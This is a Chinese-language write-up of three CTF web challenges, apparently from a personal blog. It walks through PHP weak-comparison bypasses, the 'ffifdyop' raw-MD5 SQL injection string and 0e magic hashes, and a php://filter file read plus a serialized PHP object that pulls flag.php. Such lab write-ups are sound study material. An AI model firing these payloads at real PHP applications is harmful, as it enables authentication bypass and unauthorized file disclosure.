Contents
  1. 1. [极客大挑战 2019]BuyFlag1
  2. 2. [BJDCTF2020]Easy MD51
  3. 3. [ZJCTF 2019]NiZhuanSiWei1

[BJDCTF2020]Easy MD51

[极客大挑战 2019]BuyFlag1

[ZJCTF 2019]NiZhuanSiWei1

[极客大挑战 2019]BuyFlag1

查看源码可以看到部分源码

Post提交money和password,要求password不能是数字,但又要求password==404,

弱类型比较,所以只需要构造password=404aaa即可

构造报文

回显是已经绕过了前两个验证

但是又说numbers太长了,那我们使用科学计数法表示money

money=1e10&password=404aaa

[BJDCTF2020]Easy MD51

只有一个输入框,随便输入进行测试,看到一个hint

select * from ‘admin’ where password=md5($pass,true)

md5的语法如下

指定true之后,返回的是16字符的二进制格式

这里又学到新知识了

我们需要找到一个字符串,经过md5加密后返回的字符串能够构造成一个万能密码。

原理:

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。

要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。

当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

在网上的wp中看到的字符串****ffifdyop,****经过MD5之后,会变成’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,

可以看到真的出来了’or’6,挺神奇的,

拼接成:select * from ‘admin’ where password=’’or’6

在输入框中输入ffifdyop,跳转到新的页面

查看源码,发现源码

要求a!=b&&md5(a)==md5(b),首先这是弱比较,我们可以找两个字符串,经过md5加密后前面的数字是相同的即可,比如:

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

或者使用数组绕过?a[]=1&b[]=2

又出现了新的源码,和上面一样,只不过这次是强等于,但是还是可以使用数组绕过,用post提交

[ZJCTF 2019]NiZhuanSiWei1

上来就是源码

Get提交text并且text=welcome to the zjctf,file参数中不能包含/flag/,然后可以包含file,password=unserialize(password)

总体来说就是三个绕过点,

第一个可以使用data://协议

text=data://text/plain,welcome to the zjctf

file是需要文件包含,但是不能直接包含flag,提示了一个useless.php文件,我们可以包含这个文件看看,直接file=useless.php看不到源码。伪协议读取

file=php://filter/read=convert.base64-encode/resource=useless.php

第二步的payload:

text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

base64解码之后,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  

class Flag{ //flag.php

public $file;

public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

我们发现useless.php是一个类,并且提示我们flag在flag.php

明确了文件位置就可以开始构造pop链。

如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
​ }
}
}
$demo = new Flag();
$u = serialize($demo);
echo $u;

?>

得到O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

构造最终payload

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

查看源码

Contents
  1. 1. [极客大挑战 2019]BuyFlag1
  2. 2. [BJDCTF2020]Easy MD51
  3. 3. [ZJCTF 2019]NiZhuanSiWei1